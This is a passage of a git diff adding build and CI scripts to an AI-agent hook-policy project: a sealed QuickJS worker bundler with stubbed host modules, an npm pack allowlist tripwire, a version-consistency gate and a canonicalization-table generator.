JSON.stringify(baseline, null, 2) + "\n", "utf8"); + writeFileSync(mdPath, renderMarkdown(baseline) + "\n", "utf8"); + process.stderr.write(`[bench] wrote ${jsonPath}\n[bench] wrote ${mdPath}\n`); + if (failedIterations > 0) { + process.stderr.write(`[bench] WARNING: ${failedIterations} iteration(s) failed and were excluded\n`); + } +} + +// ── Entry point ──────────────────────────────────────────────────────────── + +if (process.argv.includes("--worker")) { + await runWorker(); +} else { + await main(); +} diff --git a/scripts/build-sealed-bundle.ts b/scripts/build-sealed-bundle.ts new file mode 100644 index 00000000..22c8fa0c --- /dev/null +++ b/scripts/build-sealed-bundle.ts @@ -0,0 +1,280 @@ +#!/usr/bin/env bun +/** + * Build the sealed policy worker bundle. + * + * bun scripts/build-sealed-bundle.ts # writes crates/generated/sealed-worker.js + * bun scripts/build-sealed-bundle.ts --check # verify the committed bundle is current + * + * The output is a single self-contained JavaScript file evaluated inside a + * QuickJS context with no bindings registered. Because there is no module + * resolution in that context, everything the worker needs — the 32 + * sealed-eligible builtins, the policy registry, and the per-CLI response + * encoder — has to be in one file. + * + * ## The substitutions, and why they are not a cheat + * + * Two module specifiers are rewritten at build time: + * + * node:path -> src/policy-runtime/pure-path.ts + * node:os / node:fs / node:fs/promises / node:child_process + * -> src/policy-runtime/host-stubs.ts + * + * `node:path` is pure string arithmetic with no syscall surface, and the + * replacement is proven equivalent to `node:path.posix` differentially over + * 8,000+ generated cases (`__tests__/policy-runtime/pure-path.test.ts`). It is + * a port, not a stub. + * + * The host modules are genuinely stubbed, and it is worth being precise about + * why that is honest rather than a hole. The 32 policies in the bundle reach + * none of them — `__tests__/hooks/builtin-tier-split.test.ts` walks the real + * transitive import graph of `payload-only.ts` and fails if any host module + * appears in it. What *does* reach them is failproofai's own scaffolding: + * `builtin-policies.ts` installs a `homedir()` fallback for the legacy path, + * and `hook-logger.ts` appends to a rotating file. Those are the runtime, not + * policy code, and in the sealed context both are supposed to be inert — the + * worker installs an empty warn sink and an empty host-context fallback + * explicitly. The stubs make any path that was missed throw with a named + * capability instead of silently doing something. + * + * ## Determinism + * + * The bundle is committed and drift-gated + * (`__tests__/policy-runtime/sealed-bundle-drift.test.ts`) for the same reason + * `crates/generated/*.json` is: the Rust daemon embeds it, so "the bundle in + * the tree" and "the bundle the daemon runs" must be the same bytes, and a + * source change that silently fails to reach the worker is exactly the kind of + * divergence that produces a wrong verdict rather than an error. + */ +import { mkdirSync, readFileSync, writeFileSync, existsSync } from "node:fs"; +import { dirname, join, resolve as resolvePath } from "node:path"; +import { fileURLToPath } from "node:url"; + +/** + * Minimal local declarations for the two Bun APIs this script uses. + * + * The repo does not depend on `@types/bun`, and adding it for one script would + * pull a large ambient type surface into every `tsc --noEmit` — including the + * Next.js app — for no benefit. `tsconfig.json`'s include list covers every + * TypeScript file in the repo, so the alternative is an unchecked file. + * Declaring exactly the shape used keeps the script type-checked and the + * dependency graph unchanged; if Bun's API moves, this fails to compile, which + * is the outcome we want. + */ +interface BunBuildArtifact { + text(): Promise; +} +interface BunBuildResult { + success: boolean; + outputs: BunBuildArtifact[]; + logs: Array<{ message: string }>; +} +interface BunOnResolveArgs { + path: string; + importer?: string; +} +interface BunPluginBuilder { + onResolve( + constraints: { filter: RegExp }, + callback: (args: BunOnResolveArgs) => { path: string } | undefined, + ): void; +} +interface BunPlugin { + name: string; + setup(build: BunPluginBuilder): void; +} +declare const Bun: { + build(options: { + entrypoints: string[]; + target?: string; + format?: string; + minify?: boolean; + sourcemap?: string; + plugins?: BunPlugin[]; + }): Promise; +}; + +const ROOT = resolvePath(dirname(fileURLToPath(import.meta.url)), ".."); +const ENTRY = join(ROOT, "src/policy-runtime/sealed-entry.ts"); +/** + * Emitted into `crates/generated/` rather than `dist/` for one blunt reason: + * `dist/` is gitignored, and `crates/failproofaid` embeds this file with + * `include_str!`. A gitignored input to a compile-time include means the daemon + * does not build from a fresh clone — CI would fail on a missing file, and the + * bytes the daemon runs would never be reviewable in a diff. + * + * `crates/generated/` already holds the canonicalization tables under exactly + * this contract: generated, committed, drift-gated, and deliberately not a + * crate (no `Cargo.toml`, so the workspace glob skips it). + */ +const OUT_DIR = join(ROOT, "crates", "generated"); +const OUT_FILE = join(OUT_DIR, "sealed-worker.js"); + +/** Host modules replaced by throwing stubs. See host-stubs.ts. */ +const STUBBED = new Set([ + "node:os", + "node:fs", + "node:fs/promises", + "node:child_process", + "os", + "fs", + "fs/promises", + "child_process", +]); + +/** Pure modules replaced by a dependency-free port. */ +const PORTED: Record = { + "node:path": join(ROOT, "src/policy-runtime/pure-path.ts"), + path: join(ROOT, "src/policy-runtime/pure-path.ts"), +}; + +const STUB_PATH = join(ROOT, "src/policy-runtime/host-stubs.ts"); +const RUNTIME_STUB_PATH = join(ROOT, "src/policy-runtime/runtime-stubs.ts"); + +/** + * failproofai's own diagnostic modules, replaced by inert no-ops rather than + * throwing stubs. These are reached on the *normal* evaluation path — the + * evaluator logs its policy count and fires telemetry when a builtin crashes — + * so throwing would convert a diagnostic into an evaluation failure. See + * runtime-stubs.ts for why none of the three can run in the sealed tier + * (a rotating log file, a `fetch()` to PostHog, and an `execSync` for a machine + * ID respectively). + * + * Matched by absolute path so a rename shows up as a build failure — "still + * references a host module" below — rather than as telemetry silently + * reappearing inside the enforcement deadline. + */ +const RUNTIME_STUBBED = [ + join(ROOT, "src/hooks/hook-logger.ts"), + join(ROOT, "src/hooks/hook-telemetry.ts"), + join(ROOT, "lib/telemetry-id.ts"), +]; + +const sealedRuntimePlugin: BunPlugin = { + name: "failproofai-sealed-runtime", + setup(build) { + build.onResolve({ filter: /^(node:)?(os|fs|fs\/promises|child_process|path)$/ }, (args) => { + if (PORTED[args.path]) return { path: PORTED[args.path] }; + if (STUBBED.has(args.path)) return { path: STUB_PATH }; + return undefined; + }); + + // Relative specifiers, resolved against the importer, then compared as + // absolute paths so `../../lib/telemetry-id` and `./hook-logger` both hit. + build.onResolve({ filter: /^\.{1,2}\// }, (args) => { + const abs = resolvePath(args.importer ? dirname(args.importer) : ROOT, args.path); + for (const candidate of RUNTIME_STUBBED) { + if (abs === candidate || `${abs}.ts` === candidate) { + return { path: RUNTIME_STUB_PATH }; + } + } + return undefined; + }); + }, +}; + +/** + * Specifiers that must NOT survive into the bundle. A `node:` import reaching + * QuickJS is an immediate `ReferenceError` at load, which would present as + * "the sealed tier is broken" rather than "this import should have been + * substituted" — so it is worth failing the build with the actual reason. + */ +const FORBIDDEN_IN_OUTPUT = [ + /\brequire\s*\(\s*["']node:/, + /\bfrom\s*["']node:/, + /\bimport\s*\(\s*["']node:/, +]; + +async function buildBundle(): Promise { + const result = await Bun.build({ + entrypoints: [ENTRY], + target: "browser", // no Node globals injected; the sealed context has none + format: "iife", + minify: false, // readable output — this is security-relevant code someone will audit + sourcemap: "none", + plugins: [sealedRuntimePlugin], + }); + + if (!result.success) { + const messages = result.logs.map((l) => ` ${l.message}`).join("\n"); + throw new Error(`sealed bundle build failed:\n${messages}`); + } + if (result.outputs.length !== 1) { + throw new Error( + `expected exactly one output chunk, got ${result.outputs.length}. ` + + `The sealed context has no module loader, so the bundle must be a single file.`, + ); + } + + const code = await result.outputs[0].text(); + + for (const pattern of FORBIDDEN_IN_OUTPUT) { + const match = code.match(pattern); + if (match) { + throw new Error( + `sealed bundle still references a host module (${match[0]}). ` + + `QuickJS has no module resolution, so this would fail at load. ` + + `Add the specifier to STUBBED or PORTED in scripts/build-sealed-bundle.ts.`, + ); + } + } + + // A banner rather than a footer: whoever opens this file should learn in the + // first line that editing it is pointless. + return ( + "// GENERATED — do not edit. Built from src/policy-runtime/sealed-entry.ts\n" + + "// by scripts/build-sealed-bundle.ts. Regenerate: bun scripts/build-sealed-bundle.ts\n" + + SEALED_PRELUDE + + code + ); +} + +/** + * The one host global the bundle still names, neutralised. + * + * `builtin-policies.ts` installs the legacy host-context fallback at module + * scope, and its `projectDir` arm reads `process.env.CLAUDE_PROJECT_DIR`. The + * read is inside a lambda that the sealed worker overwrites on every + * `evaluate()` before anything can call it, so today it is unreachable. But + * "unreachable given the current call order" is a weak property to rest a + * `ReferenceError` on, and in QuickJS — which has no `process` at all — that + * error would surface as "the sealed tier is broken" with no obvious cause. + * + * So: define `process.env` as a frozen empty object. Two things follow, and the + * second is the interesting one. The lambda cannot throw. And a policy that + * tries to read the daemon's environment gets nothing — not the service + * account's `PATH`, not a delivery key, not `NODE_OPTIONS`. The daemon + * constructs worker environments rather than inheriting them, and this is that + * rule expressed inside the worker instead of only around it. + * `__tests__/policy-runtime/sealed-bundle.test.ts` asserts the emptiness + * directly, so a future prelude change that starts leaking real environment + * fails loudly. + */ +const SEALED_PRELUDE = `// --- sealed prelude (see scripts/build-sealed-bundle.ts) --- +var process = Object.freeze({ env: Object.freeze(Object.create(null)) }); +// --- end sealed prelude --- +`; + +const isCheck = process.argv.includes("--check"); + +const bundle = await buildBundle(); + +if (isCheck) { + if (!existsSync(OUT_FILE)) { + console.error(`missing ${OUT_FILE}. Regenerate: bun scripts/build-sealed-bundle.ts`); + process.exit(1); + } + const committed = readFileSync(OUT_FILE, "utf8"); + if (committed !== bundle) { + console.error( + `dist/sealed-worker.js is out of date with src/policy-runtime/.\n` + + `Regenerate: bun scripts/build-sealed-bundle.ts`, + ); + process.exit(1); + } + console.log(`sealed bundle is current (${bundle.length} bytes)`); + process.exit(0); +} + +mkdirSync(OUT_DIR, { recursive: true }); +writeFileSync(OUT_FILE, bundle, "utf8"); +console.log(`wrote ${OUT_FILE} (${bundle.length} bytes)`); diff --git a/scripts/check-pack-allowlist.mjs b/scripts/check-pack-allowlist.mjs new file mode 100644 index 00000000..39015628 --- /dev/null +++ b/scripts/check-pack-allowlist.mjs @@ -0,0 +1,187 @@ +#!/usr/bin/env node +/** + * Tripwire on what `npm publish` would actually ship. + * + * package.json's `files` allowlist is a set of *directories*, so adding a new + * top-level directory to the repo — or removing one from the allowlist — changes + * the published tarball with no diff anywhere that a reviewer looks. Both + * directions have already bitten this repo: `.next/standalone/` over-traces the + * project and quietly shipped the entire design-doc tree, and `dist/` is + * gitignored, so the tarball is empty unless something built it first. + * + * Granularity is the FIRST PATH SEGMENT, not the file. The tarball carries + * ~1,700 entries, almost all of them `.next/standalone/node_modules/**`, and a + * file-level manifest would be regenerated on every dependency bump until nobody + * read it. The set of top-level entries is small, stable, and is exactly the + * thing that changes when a directory starts or stops shipping. + * + * Usage: + * node scripts/check-pack-allowlist.mjs # check + * node scripts/check-pack-allowlist.mjs --write # regenerate the expected file + * + * Dependency-free; shells out to `npm pack --dry-run --json`. + */ + +import { execFileSync } from "node:child_process"; +import { existsSync, readFileSync, writeFileSync } from "node:fs"; +import { dirname, join, resolve } from "node:path"; +import { fileURLToPath } from "node:url"; + +const HERE = dirname(fileURLToPath(import.meta.url)); +const ROOT = resolve(join(HERE, "..")); +const EXPECTED_FILE = join(ROOT, ".github", "expected-pack-files.txt"); +const EXPECTED_FILE_REL = ".github/expected-pack-files.txt"; + +/** + * Top-level entries that are gitignored build output, mapped to the path whose + * presence means the build actually produced them. They appear in the tarball + * only after `bun run build`, so in an unbuilt tree their absence is a notice + * rather than a failure; the CI `build` job runs this same check *after* + * building, where their absence is fatal. + * + * The value is the packed subpath, not the top-level directory: a failed + * `next build` leaves a `.next/` behind with no `standalone/` inside it, and + * treating that as "built" would turn every interrupted local build into a + * spurious failure. An unexpected *extra* entry is always fatal regardless. + */ +const BUILD_OUTPUT_ROOTS = new Map([ + [".next", join(".next", "standalone")], + ["dist", "dist"], +]); + +/** @returns {string[]} every file path `npm publish` would include */ +export function packFilePaths(rootDir = ROOT) { + const stdout = execFileSync( + "npm", + ["pack", "--dry-run", "--json", "--ignore-scripts"], + { cwd: rootDir, encoding: "utf8", maxBuffer: 64 * 1024 * 1024, stdio: ["ignore", "pipe", "inherit"] }, + ); + // npm has historically prefixed --json output with notices; slice from the + // first bracket so a chatty npm cannot break the parse. + const start = stdout.indexOf("["); + if (start === -1) throw new Error("npm pack --json produced no JSON array"); + const parsed = JSON.parse(stdout.slice(start)); + const entry = Array.isArray(parsed) ? parsed[0] : parsed; + if (!entry || !Array.isArray(entry.files)) { + throw new Error("npm pack --json output has no `files` array"); + } + return entry.files.map((f) => f.path); +} + +/** Reduce a list of file paths to the sorted set of their first path segments. */ +export function topLevelEntries(paths) { + const tops = new Set(); + for (const p of paths) tops.add(p.split("/")[0]); + return [...tops].sort(); +} + +/** Parse the committed expected file (blank lines and `#` comments ignored). */ +export function parseExpected(text) { + return text + .split(/\r?\n/) + .map((l) => l.trim()) + .filter((l) => l.length > 0 && !l.startsWith("#")) + .sort(); +} + +export function renderExpected(entries) { + return [ + "# Top-level entries in the tarball `npm publish` would upload, one per line.", + "#", + "# Compared by scripts/check-pack-allowlist.mjs against the first path segment", + "# of every file in `npm pack --dry-run --json`. Granularity is deliberate: the", + "# tarball has ~1,700 files, nearly all under .next/standalone/node_modules, and", + "# a file-level manifest would churn on every dependency bump.", + "#", + "# If this check fails, the tarball's shape changed. Decide whether that was", + "# intended, then regenerate with:", + "#", + "# bun run build && node scripts/check-pack-allowlist.mjs --write", + "#", + "# `.next` and `dist` are gitignored build output and only appear after a build.", + "", + ...entries, + "", + ].join("\n"); +} + +/** + * @returns {{ ok: boolean, errors: string[], notices: string[], actual: string[] }} + */ +export function checkPackAllowlist({ actual, expected, rootDir = ROOT }) { + const errors = []; + const notices = []; + const expectedSet = new Set(expected); + const actualSet = new Set(actual); + + for (const entry of actual) { + if (!expectedSet.has(entry)) { + errors.push( + `"${entry}" would be published but is not in ${EXPECTED_FILE_REL}. ` + + `If shipping it is intentional, regenerate the file; if not, it is leaking ` + + `through package.json's \`files\` allowlist (most likely via .next/standalone).`, + ); + } + } + + for (const entry of expected) { + if (actualSet.has(entry)) continue; + if (BUILD_OUTPUT_ROOTS.has(entry) && !existsSync(join(rootDir, BUILD_OUTPUT_ROOTS.get(entry)))) { + notices.push( + `"${entry}" is absent because this tree has not been built — skipped. ` + + `The CI \`build\` job runs this check after \`bun run build\`, where it is fatal.`, + ); + continue; + } + errors.push( + `"${entry}" is in ${EXPECTED_FILE_REL} but would NOT be published. ` + + `A published package missing it is broken — check package.json's \`files\` ` + + `allowlist and whether the build produced it.`, + ); + } + + return { ok: errors.length === 0, errors, notices, actual }; +} + +/* c8 ignore start -- CLI wrapper */ +function main() { + const write = process.argv.includes("--write"); + const actual = topLevelEntries(packFilePaths(ROOT)); + + if (write) { + writeFileSync(EXPECTED_FILE, renderExpected(actual)); + console.log(`Wrote ${EXPECTED_FILE_REL} with ${actual.length} entries:`); + for (const e of actual) console.log(` ${e}`); + return; + } + + if (!existsSync(EXPECTED_FILE)) { + console.log( + `::error file=${EXPECTED_FILE_REL}::Missing. Generate it with ` + + `\`bun run build && node scripts/check-pack-allowlist.mjs --write\``, + ); + process.exit(1); + } + + const expected = parseExpected(readFileSync(EXPECTED_FILE, "utf8")); + const { ok, errors, notices } = checkPackAllowlist({ actual, expected, rootDir: ROOT }); + + for (const n of notices) console.log(`::notice file=${EXPECTED_FILE_REL}::${n}`); + for (const e of errors) console.log(`::error file=${EXPECTED_FILE_REL}::${e}`); + + if (!ok) { + console.log( + `::error::The published tarball's top-level shape changed. Review the ` + + `annotations above, then regenerate with ` + + `\`bun run build && node scripts/check-pack-allowlist.mjs --write\` if intended.`, + ); + process.exit(1); + } + + console.log(`check-pack-allowlist: OK — ${actual.length} top-level entries: ${actual.join(", ")}`); +} + +if (process.argv[1] && resolve(process.argv[1]) === resolve(fileURLToPath(import.meta.url))) { + main(); +} +/* c8 ignore stop */ diff --git a/scripts/check-versions.mjs b/scripts/check-versions.mjs new file mode 100644 index 00000000..6e91acfd --- /dev/null +++ b/scripts/check-versions.mjs @@ -0,0 +1,295 @@ +#!/usr/bin/env node +/** + * Version-consistency gate for the CI `quality` job. + * + * Replaces the inline shell that used to live in `.github/workflows/ci.yml`. + * That shell looped over `packages/*​/package.json` and read + * `packages/wrapper/package.json` — neither of which has ever existed in this + * repository — so the check passed vacuously from the initial import onward. + * Its semantics are preserved here (they still apply if `packages/` ever + * appears) and three real assertions are added on top: + * + * 1. `Cargo.toml`'s `[workspace.package] version` equals package.json's. + * 2. Every `crates/*​/Cargo.toml` inherits with `version.workspace = true` + * rather than pinning a literal version that would drift. + * 3. package.json declares NO npm lifecycle script. This is what makes the + * `prepare` removal permanent: `prepare` was the only thing populating the + * gitignored `dist/` and `.next/standalone/` before `npm publish`, the + * publish workflow now builds explicitly, and a re-added lifecycle script + * would quietly re-enter that path. + * + * Dependency-free by design — it runs before anything is guaranteed installed, + * and the TOML it reads is two known keys deep, not a general document. + */ + +import { existsSync, readdirSync, readFileSync, statSync } from "node:fs"; +import { dirname, join, resolve } from "node:path"; +import { fileURLToPath } from "node:url"; + +/** + * npm lifecycle scripts — the ones npm itself invokes during `install`, + * `publish` or `pack`. `predev`/`prestart` and friends are NOT in this set: + * those are pre-hooks for user-defined scripts and only run when someone runs + * that script by name, never on install or publish. + */ +export const FORBIDDEN_LIFECYCLE_SCRIPTS = [ + "prepare", + "prepublish", + "prepublishOnly", + "prepack", + "postpack", + "preinstall", + "install", + "postinstall", +]; + +function readJson(path) { + return JSON.parse(readFileSync(path, "utf8")); +} + +function isDirectory(path) { + try { + return statSync(path).isDirectory(); + } catch { + return false; + } +} + +/** + * Strip TOML comments and extract the body of a top-level table. + * + * Not a general TOML parser and deliberately not a dependency: the only thing + * anything here needs is "the lines between `[]` and the next top-level + * table header". Quoted `#` inside a value would be mangled by naive comment + * stripping, so a `#` is only treated as a comment when it is outside quotes. + * + * @param {string} src full Cargo.toml text + * @param {string} table table name, e.g. "workspace.package" + * @returns {string|null} the table body, or null when the table is absent + */ +export function extractTomlTable(src, table) { + const lines = src.split(/\r?\n/); + const header = `[${table}]`; + let inTable = false; + const body = []; + + for (const rawLine of lines) { + const line = stripTomlComment(rawLine).trim(); + if (/^\[\[?[^\]]+\]\]?$/.test(line)) { + inTable = line === header; + continue; + } + if (inTable) body.push(line); + } + + return body.length > 0 || src.includes(header) ? body.join("\n") : null; +} + +/** Remove a trailing `# comment`, respecting single- and double-quoted strings. */ +function stripTomlComment(line) { + let quote = null; + for (let i = 0; i < line.length; i += 1) { + const ch = line[i]; + if (quote) { + if (ch === quote) quote = null; + } else if (ch === '"' || ch === "'") { + quote = ch; + } else if (ch === "#") { + return line.slice(0, i); + } + } + return line; +} + +/** + * Read a `key = "value"` string from a top-level TOML table. + * + * @returns {string|null} the value, or null when the key or table is absent + */ +export function readTomlString(src, table, key) { + const body = extractTomlTable(src, table); + if (body === null) return null; + const escaped = key.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); + const match = body.match(new RegExp(`^${escaped}\\s*=\\s*(?:"([^"]*)"|'([^']*)')`, "m")); + if (!match) return null; + return match[1] ?? match[2] ?? null; +} + +/** + * Does this crate manifest inherit its version from the workspace? + * + * Accepts both spellings cargo allows: + * version.workspace = true + * version = { workspace = true } + */ +export function inheritsWorkspaceVersion(src) { + const body = extractTomlTable(src, "package"); + if (body === null) return false; + if (/^version\s*\.\s*workspace\s*=\s*true\s*$/m.test(body)) return true; + if (/^version\s*=\s*\{[^}]*\bworkspace\s*=\s*true\b[^}]*\}\s*$/m.test(body)) return true; + return false; +} + +/** + * Run every consistency check against a repository root. + * + * Pure: takes a directory, touches nothing else, returns findings rather than + * printing or exiting — which is what makes it testable against temp fixtures. + * + * @param {string} rootDir absolute path to the repository root + * @returns {{ file: string, message: string }[]} one entry per violation + */ +export function checkVersions(rootDir) { + /** @type {{ file: string, message: string }[]} */ + const violations = []; + const add = (file, message) => violations.push({ file, message }); + + const rootPkgPath = join(rootDir, "package.json"); + if (!existsSync(rootPkgPath)) { + add("package.json", "No package.json at the repository root"); + return violations; + } + + /** @type {Record} */ + let rootPkg; + try { + rootPkg = readJson(rootPkgPath); + } catch (err) { + add("package.json", `Could not parse package.json: ${err.message}`); + return violations; + } + + const rootVersion = rootPkg.version; + if (typeof rootVersion !== "string" || rootVersion.length === 0) { + add("package.json", "Root package.json has no `version`"); + return violations; + } + + // --- 1. Lifecycle scripts (this is what keeps `prepare` from coming back) --- + const scripts = rootPkg.scripts ?? {}; + for (const name of FORBIDDEN_LIFECYCLE_SCRIPTS) { + if (Object.prototype.hasOwnProperty.call(scripts, name)) { + add( + "package.json", + `Lifecycle script "${name}" is declared. npm runs lifecycle scripts implicitly on ` + + `install/pack/publish, and this package builds gitignored directories that sit in ` + + `the \`files\` allowlist — the publish workflow builds them explicitly instead. ` + + `Move the work into a named script and call it from the workflow.`, + ); + } + } + + // --- 2. packages/*/package.json version parity (preserved semantics) --- + const packagesDir = join(rootDir, "packages"); + if (isDirectory(packagesDir)) { + for (const entry of readdirSync(packagesDir, { withFileTypes: true }).sort((a, b) => + a.name.localeCompare(b.name), + )) { + if (!entry.isDirectory()) continue; + const rel = `packages/${entry.name}/package.json`; + const pkgPath = join(packagesDir, entry.name, "package.json"); + if (!existsSync(pkgPath)) continue; + + let pkg; + try { + pkg = readJson(pkgPath); + } catch (err) { + add(rel, `Could not parse: ${err.message}`); + continue; + } + + if (pkg.version !== rootVersion) { + add(rel, `Version mismatch: has ${pkg.version}, expected ${rootVersion}`); + } + } + + // --- 3. packages/wrapper optionalDependencies parity (preserved) --- + const wrapperRel = "packages/wrapper/package.json"; + const wrapperPath = join(packagesDir, "wrapper", "package.json"); + if (existsSync(wrapperPath)) { + let wrapper; + try { + wrapper = readJson(wrapperPath); + } catch { + // Already reported by the loop above. + wrapper = null; + } + for (const [dep, depVersion] of Object.entries(wrapper?.optionalDependencies ?? {})) { + if (depVersion !== rootVersion) { + add( + wrapperRel, + `optionalDependency "${dep}" is ${depVersion}, expected ${rootVersion}`, + ); + } + } + } + } + + // --- 4. Cargo workspace version parity --- + const cargoPath = join(rootDir, "Cargo.toml"); + if (existsSync(cargoPath)) { + const cargoSrc = readFileSync(cargoPath, "utf8"); + const workspaceVersion = readTomlString(cargoSrc, "workspace.package", "version"); + if (workspaceVersion === null) { + add("Cargo.toml", "No `[workspace.package] version` — crates cannot inherit a version"); + } else if (workspaceVersion !== rootVersion) { + add( + "Cargo.toml", + `[workspace.package] version is ${workspaceVersion}, expected ${rootVersion} ` + + `(from package.json)`, + ); + } + } + + // --- 5. Every crate inherits, none pins --- + const cratesDir = join(rootDir, "crates"); + if (isDirectory(cratesDir)) { + for (const entry of readdirSync(cratesDir, { withFileTypes: true }).sort((a, b) => + a.name.localeCompare(b.name), + )) { + if (!entry.isDirectory()) continue; + const manifestPath = join(cratesDir, entry.name, "Cargo.toml"); + if (!existsSync(manifestPath)) continue; + const rel = `crates/${entry.name}/Cargo.toml`; + const src = readFileSync(manifestPath, "utf8"); + if (!inheritsWorkspaceVersion(src)) { + const literal = readTomlString(src, "package", "version"); + add( + rel, + literal === null + ? "Crate declares no version — use `version.workspace = true`" + : `Crate pins version = "${literal}" — use \`version.workspace = true\` so it ` + + `cannot drift from the root package.json`, + ); + } + } + } + + return violations; +} + +/* c8 ignore start -- CLI wrapper, exercised by CI rather than by unit tests */ +function main() { + const here = dirname(fileURLToPath(import.meta.url)); + const rootDir = resolve(process.argv[2] ?? join(here, "..")); + const violations = checkVersions(rootDir); + + for (const { file, message } of violations) { + console.log(`::error file=${file}::${message}`); + } + + if (violations.length > 0) { + console.log( + `::error::check-versions found ${violations.length} violation(s) — see the annotations above`, + ); + process.exit(1); + } + + const version = JSON.parse(readFileSync(join(rootDir, "package.json"), "utf8")).version; + console.log(`check-versions: OK — everything agrees on ${version}`); +} + +if (process.argv[1] && resolve(process.argv[1]) === resolve(fileURLToPath(import.meta.url))) { + main(); +} +/* c8 ignore stop */ diff --git a/scripts/gen-canon-tables.ts b/scripts/gen-canon-tables.ts new file mode 100644 index 00000000..7d6f3c20 --- /dev/null +++ b/scripts/gen-canon-tables.ts @@ -0,0 +1,693 @@ +/** + * gen-canon-tables.ts — emit the canonicalization + enforcement-capability + * tables that the Rust `fpai-canon` crate consumes. + * + * ┌──────────────────────────────────────────────────────────────────────────┐ + * │ REGENERATE WITH: bun scripts/gen-canon-tables.ts │ + * └──────────────────────────────────────────────────────────────────────────┘ + * + * Outputs (both JSON, never `.rs`): + * + * crates/generated/canonicalization-tables.json + * crates/generated/enforcement-capability.json + * + * WHY JSON AND NOT GENERATED RUST. `src/hooks/types.ts` stays the single source + * of truth. Its "verified live against vX.Y.Z" annotations stay where + * reviewers already look, and there is no generated Rust in the diff for anyone + * to review or hand-patch. A CI drift gate + * (`__tests__/parity/canon-tables-drift.test.ts`) re-runs this generator and + * fails on any byte difference. + * + * DERIVATION RULES — nothing here hardcodes "twelve CLIs" or a list of events: + * + * • The CLI list is `INTEGRATION_TYPES`. + * • The canonical event list is `HOOK_EVENT_TYPES`. + * • Per-CLI tables are resolved from `src/hooks/types.ts` BY NAMING + * CONVENTION — `_HOOK_EVENT_TYPES`, `_EVENT_MAP`, + * `_TOOL_MAP`, `_TOOL_INPUT_MAP`, `_HOOK_SCOPES` — so a + * thirteenth CLI changes the output the moment its constants land. + * • Every emitted tool table is PROBED against the live + * `canonicalizeToolName` / `canonicalizeToolInput` implementations, so the + * table can never claim a mapping the runtime does not perform (or omit a + * branch the runtime does have). + * • Structural violations are HARD FAILURES (nonzero exit, nothing written). + * Gaps that are properties of the source of truth rather than of this + * generator — a vendor event with no canonical `HookEventType`, a CLI with + * no declared event list — are recorded as data in the output AND warned + * about on stderr, never silently dropped. + * + * THE ONE THING NOT DERIVED, AND WHY. The per-CLI payload field normalizations + * live as inline code in `src/hooks/handler.ts` (and `resolve-cwd.ts`), not as + * exported constants, so they are transcribed as data below in + * `PAYLOAD_NORMALIZATIONS`. They are part of canonicalization: a Rust daemon + * that skips them reads a null tool name off an Antigravity payload and returns + * a different verdict. Every key is validated against `INTEGRATION_TYPES`, and + * `canon-tables-drift.test.ts` cross-checks each rule against the actual source + * text of the normalization block it mirrors. + * + * Usage: + * bun scripts/gen-canon-tables.ts # write crates/generated/ + * bun scripts/gen-canon-tables.ts --out # write elsewhere (tests) + * bun scripts/gen-canon-tables.ts --check # verify only, write nothing + */ +import { mkdirSync, readFileSync, writeFileSync } from "node:fs"; +import { dirname, join, resolve } from "node:path"; +import { fileURLToPath } from "node:url"; + +import * as types from "../src/hooks/types"; +import { HOOK_EVENT_TYPES, HOOK_SCOPES, INTEGRATION_TYPES } from "../src/hooks/types"; +import type { HookEventType, IntegrationType } from "../src/hooks/types"; +import { ENFORCEMENT_CAPABILITY } from "../src/hooks/enforcement-capability"; +import { canonicalizeToolInput, canonicalizeToolName } from "../src/hooks/tool-name-canonicalize"; + +// ── Schema version ─────────────────────────────────────────────────────────── +// +// Bump when the SHAPE of either emitted document changes (a renamed key, a +// changed value vocabulary). Do NOT bump for content changes — a new CLI, a new +// tool mapping — those are data. The Rust reader refuses an unexpected version. +export const SCHEMA_VERSION = 1; + +export const CANONICALIZATION_TABLES_FILENAME = "canonicalization-tables.json"; +export const ENFORCEMENT_CAPABILITY_FILENAME = "enforcement-capability.json"; + +export const REGENERATE_COMMAND = "bun scripts/gen-canon-tables.ts"; + +const REPO_ROOT = resolve(dirname(fileURLToPath(import.meta.url)), ".."); +export const DEFAULT_OUT_DIR = join(REPO_ROOT, "crates", "generated"); + +// ── Payload field normalization ────────────────────────────────────────────── + +/** Where a normalization rule reads its value from. A string element is an + * object key; a number element is an array index. */ +export type PayloadPathSegment = string | number; + +/** Guard on the SOURCE value. Mirrors the `typeof` checks in handler.ts. */ +export const PAYLOAD_REQUIRE_TYPES = ["defined", "string", "non_empty_string"] as const; +export type PayloadRequireType = (typeof PAYLOAD_REQUIRE_TYPES)[number]; + +/** Guard on the TARGET key — whether an existing canonical value is overwritten. */ +export const PAYLOAD_WHEN = ["always", "target_undefined", "target_missing_or_empty"] as const; +export type PayloadWhen = (typeof PAYLOAD_WHEN)[number]; + +export interface PayloadNormalization { + /** Path into the raw stdin payload. */ + from: PayloadPathSegment[]; + /** Top-level canonical key the value is written to. */ + to: string; + require_type: PayloadRequireType; + when: PayloadWhen; + /** The TypeScript module this rule mirrors. The drift test reads it. */ + source: string; +} + +const HANDLER_SOURCE = "src/hooks/handler.ts"; +const RESOLVE_CWD_SOURCE = "src/hooks/resolve-cwd.ts"; + +/** + * Per-CLI payload field normalizations, in the order the TypeScript applies + * them. CLIs absent from this map need none — their stdin is already + * Claude-shaped snake_case. + * + * MIRRORS `src/hooks/handler.ts` (the `cli === "…"` blocks that run + * immediately after `JSON.parse`, BEFORE event/tool canonicalization) and the + * Cursor branch of `src/hooks/resolve-cwd.ts`. Change one, change the other — + * `__tests__/parity/canon-tables-drift.test.ts` asserts they agree. + */ +export const PAYLOAD_NORMALIZATIONS: Partial> = { + // Antigravity (agy) pipes a camelCase protojson payload. Verified agy v1.1.2. + antigravity: [ + { from: ["toolCall", "name"], to: "tool_name", require_type: "defined", when: "always", source: HANDLER_SOURCE }, + { from: ["toolCall", "args"], to: "tool_input", require_type: "defined", when: "always", source: HANDLER_SOURCE }, + { from: ["conversationId"], to: "session_id", require_type: "string", when: "always", source: HANDLER_SOURCE }, + { from: ["workspacePaths", 0], to: "cwd", require_type: "string", when: "always", source: HANDLER_SOURCE }, + { from: ["transcriptPath"], to: "transcript_path", require_type: "string", when: "always", source: HANDLER_SOURCE }, + ], + // Copilot's snake_case events are already Claude-shaped; `permissionRequest` + // ALONE pipes camelCase. Verified live against Copilot CLI 1.0.71. The + // `target_undefined` guard is what keeps this inert on the other events. + copilot: [ + { from: ["toolName"], to: "tool_name", require_type: "string", when: "target_undefined", source: HANDLER_SOURCE }, + { from: ["toolInput"], to: "tool_input", require_type: "defined", when: "target_undefined", 